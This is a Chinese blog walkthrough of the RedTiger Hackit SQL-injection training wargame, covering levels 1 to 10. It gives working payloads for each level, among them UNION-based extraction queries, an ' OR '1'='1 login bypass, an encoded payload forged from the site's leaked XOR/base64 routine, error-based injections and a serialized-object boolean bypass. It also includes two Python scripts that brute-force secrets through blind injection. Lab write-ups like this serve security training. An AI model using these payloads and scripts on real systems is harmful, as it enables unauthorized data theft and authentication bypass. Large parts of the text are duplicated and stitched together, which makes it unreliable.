渗透测试演练平台RedTigersHackit通关Writeup

  • A+
所属分类:业界关注

本文仅供安全研究和小范学习交流之用,禁止传播

RedTigers-Hackit是一围个训练SQLi(SQL注入漏洞)和PHP方面的网站,地址为https://redtiger.labs.overthewire.org/。废话不多说,我们开始过关之旅吧!

Level1

普普通通的一个注入关,直接构造语句即可

https://redtiger.labs.overthewire.org/level1.php?cat=1 union select 1,2,username,password from level1_users

Level2

题目说,一个简单的密码绕过,那就简单一下试试,sql万能密码

用户名随意密码'OR'1'='1

绕过成功

Level3

尝试出个错误…也是醉了

那我们就出个错瞧瞧~

尝试是否为sqli,但是sql无错误回显,考虑php原因

直到

https://redtiger.labs.overthewire.org/level3.php?usr[0]=a&usr[1]=b

才显示出来一个错误

Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21

因为.inc这种文件可以访问,所以我们获得了一部分源码

<?php            function encrypt($str)    {        $cryptedstr = "";        for ($i =0; $i < strlen($str); $i++)        {            $temp = ord(substr($str,$i,1)) ^ 192;                        while(strlen($temp)<3)            {                $temp = "0".$temp;            }            $cryptedstr .= $temp. "";        }        return base64_encode($cryptedstr);    }      function decrypt ($str)    {        if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))        {            $str = base64_decode($str);            if ($str != "" && $str != null && $str != false)            {                $decStr = "";                                for ($i=0; $i < strlen($str); $i+=3)                {                    $array[$i/3] = substr($str,$i,3);                }                foreach($array as $s)                {                    $a = $s^192;                    $decStr .= chr($a);                }                                return $decStr;            }            return false;        }        return false;    } ?>

在这个文件中,给出了对usr这个参数的加密和解密方式,所以,我们用这个加密方式加密我们的语句,得到最终的POC

https://redtiger.labs.overthewire.org/level3.php?usr=MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjI0Level4

点了一下Clickme,下面显示了

Query returned 1 rows.

加个单引号变为了

Query returned 0 rows.

所以应该是盲注了

orderby表示有两个column,虽然也没啥用..先来判断长度

https://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword ,1 from level4_secret where length(keyword)=17

一共17个字节,这次肯定不是MD5。。。写脚本,从A-Za-z0-9跑一遍,得出最终结果

# -*- coding: utf-8 -*- import requests s = requests.Session() result = "" login = {'password': 'dont_publish_solutions_GRR!',    'level4login': 'Login'} for x in range(1,17):    flag = True    url = "http://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword,1  from level4_secret where SUBSTR(keyword,%d,1)='%s'"    for i in range(ord('a'),ord('z')+1):        if(flag == False):            break        test_url = url % (x,chr(i))        r = s.post(test_url, data = login)        if "2 rows" in r.content:            result = result + chr(i)            flag = False    for i in range(ord('A'),ord('Z')+1):        if(flag == False):            break        test_url = url % (x,chr(i))        r = s.post(test_url, data = login)        if "2 rows" in r.content:            result = result + chr(i)            flag = False    for i in range(ord('0'),ord('9')+1):        if(flag == False):            break        test_url = url % (x,chr(i))        r = s.post(test_url, data = login)        if "2 rows" in r.content:            result = result + chr(i)            flag = False    print result print resultLevel5

还是登录绕过,禁用了几个函数,而且不是盲注,让我们关注看报错信息

通过最终的结果的行数,判断是否登录成功所以我们的POC

login=Login&password=1&username=' union select 0x61646d696e as username, md5(1) as password #Level6Target: Get the first user in table level6_users with status 1

先查status1就是普普通通的注入,没啥难度

POC

https://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f75736572732077686572652069643d33202d2d20,1,1,1%20from%20level6_users%20where%20status=1

Level7

又是盲注,但是这次出在了搜索的位置,限制更加严格,所以我们换个关键字..

所以我们还是和上面某Level一样的思路

再次编程

# -*- coding: utf-8 -*- import requests s = requests.Session() result = "" login = {'password': 'dont_shout_at_your_disks***',    'level7login': 'Login',    'dosearch': 'search!'} for x in range(1,17):    flag = True    url = "http://redtiger.labs.overthewire.org/level7.php"    for i in range(32,127):        if(flag == False):            break        login["search"] = "google%%' and locate('%s',news.autor COLLATE latin1_general_cs)=%d and '%%'='" % (chr(i), x)        r = s.post(url, data = login)        if "FRANCISCO" in r.content:            result = result + chr(i)            flag = False    print result print result

上面这段代码貌似有点小问题

Level8

加了一个'爆出了错误,明显是errorbase,之后分析构造poc

hans@localhost', name=password, icq = 'q

Level9

依旧是errorbase

通过一个'判断注入出现在textarea中,于是构建语句

'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'

过关

Level10

只给了一个Login按钮,通过抓包,我们看到了一个base64加密过得json

解密得到

a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

我也不造这是啥,但是谷歌一下发现有人发这道题的writeup参考一下。。。

然后找到了这个

http://php.net/manual/en/function.serialize.php,发现只要最后一个password改成booleanTrue即可…也就是说,这个是用流来保存数据的一个方式,最后的密码位改为布尔型b:1即可过关。

题目说,一个简单的密码绕过,那就简单一下试试,sql万能密码

用户名随意密码'OR'1'='1

绕过成功

Level3

尝试出个错误…也是醉了

那我们就出个错瞧瞧~

尝试是否为sqli,但是sql无错误回显,考虑php原因

直到

https://redtiger.labs.overthewire.org/level3.php?usr[0]=a&usr[1]=b

才显示出来一个错误

Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21

因为.inc这种文件可以访问,所以我们获得了一部分源码

<?php            function encrypt($str)    {        $cryptedstr = "";        for ($i =0; $i < strlen($str); $i++)        {            $temp = ord(substr($str,$i,1)) ^ 192;                        while(strlen($temp)<3)            {                $temp = "0".$temp;            }            $cryptedstr .= $temp. "";        }        return base64_encode($cryptedstr);    }      function decrypt ($str)    {        if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str))        {            $str = base64_decode($str);            if ($str != "" && $str != null && $str != false)            {                $decStr = "";                                for ($i=0; $i < strlen($str); $i+=3)                {                    $array[$i/3] = substr($str,$i,3);                }                foreach($array as $s)                {                    $a = $s^192;                    $decStr .= chr($a);                }                                return $decStr;            }            return false;        }        return false;    } ?>

在这个文件中,给出了对usr这个参数的加密和解密方式,所以,我们用这个加密方式加密我们的语句,得到最终的POC

https://redtiger.labs.overthewire.org/level3.php?usr=MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjI0Level4

点了一下Clickme,下面显示了

Query returned 1 rows.

加个单引号变为了

Query returned 0 rows.

所以应该是盲注了

orderby表示有两个column,虽然也没啥用..先来判断长度

https://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword ,1 from level4_secret where length(keyword)=17

一共17个字节,这次肯定不是MD5。。。写脚本,从A-Za-z0-9跑一遍,得出最终结果

# -*- coding: utf-8 -*- import requests s = requests.Session() result = "" login = {'password': 'dont_publish_solutions_GRR!',    'level4login': 'Login'} for x in range(1,17):    flag = True    url = "http://redtiger.labs.overthewire.org/level4.php?id=1 union select keyword,1  from level4_secret where SUBSTR(keyword,%d,1)='%s'"    for i in range(ord('a'),ord('z')+1):        if(flag == False):            break        test_url = url % (x,chr(i))        r = s.post(test_url, data = login)        if "2 rows" in r.content:            result = result + chr(i)            flag = False    for i in range(ord('A'),ord('Z')+1):        if(flag == False):            break        test_url = url % (x,chr(i))        r = s.post(test_url, data = login)        if "2 rows" in r.content:            result = result + chr(i)            flag = False    for i in range(ord('0'),ord('9')+1):        if(flag == False):            break        test_url = url % (x,chr(i))        r = s.post(test_url, data = login)        if "2 rows" in r.content:            result = result + chr(i)            flag = False    print result print resultLevel5

还是登录绕过,禁用了几个函数,而且不是盲注,让我们关注看报错信息

通过最终的结果的行数,判断是否登录成功所以我们的POC

login=Login&password=1&username=' union select 0x61646d696e as username, md5(1) as password #Level6Target: Get the first user in table level6_users with status 1

先查status1就是普普通通的注入,没啥难度

POC

https://redtiger.labs.overthewire.org/level6.php?user=0%20union%20select%201,0x2720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f75736572732077686572652069643d33202d2d20,1,1,1%20from%20level6_users%20where%20status=1Level7

又是盲注,但是这次出在了搜索的位置,限制更加严格,所以我们换个关键字..

所以我们还是和上面某Level一样的思路

再次编程

# -*- coding: utf-8 -*- import requests s = requests.Session() result = "" login = {'password': 'dont_shout_at_your_disks***',    'level7login': 'Login',    'dosearch': 'search!'} for x in range(1,17):    flag = True    url = "http://redtiger.labs.overthewire.org/level7.php"    for i in range(32,127):        if(flag == False):            break        login["search"] = "google%%' and locate('%s',news.autor COLLATE latin1_general_cs)=%d and '%%'='" % (chr(i), x)        r = s.post(url, data = login)        if "FRANCISCO" in r.content:            result = result + chr(i)            flag = False    print result print result

上面这段代码貌似有点小问题

Level8

加了一个'爆出了错误,明显是errorbase,之后分析构造poc

hans@localhost', name=password, icq = 'q

Level9

依旧是errorbase

通过一个'判断注入出现在textarea中,于是构建语句

'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'

过关

Level10

只给了一个Login按钮,通过抓包,我们看到了一个base64加密过得json

解密得到

a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

我也不造这是啥,但是谷歌一下发现有人发这道题的writeup参考一下。。。

然后找到了这个http://php.net/manual/en/function.serialize.php,发现只要最后一个password改成booleanTrue即可…也就是说,这个是用流来保存数据的一个方式,最后的密码位改为布尔型b:1即可过关。

依旧是errorbase

通过一个'判断注入出现在textarea中,于是构建语句

'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'

过关

Level10

只给了一个Login按钮,通过抓包,我们看到了一个base64加密过得json

解密得到

a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

我也不造这是啥,但是谷歌一下发现有人发这道题的writeup参考一下。。。

然后找到了这个http://php.net/manual/en/function.serialize.php,发现只要最后一个password改成booleanTrue即可…也就是说,这个是用流来保存数据的一个方式,最后的密码位改为布尔型b:1即可过关。

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: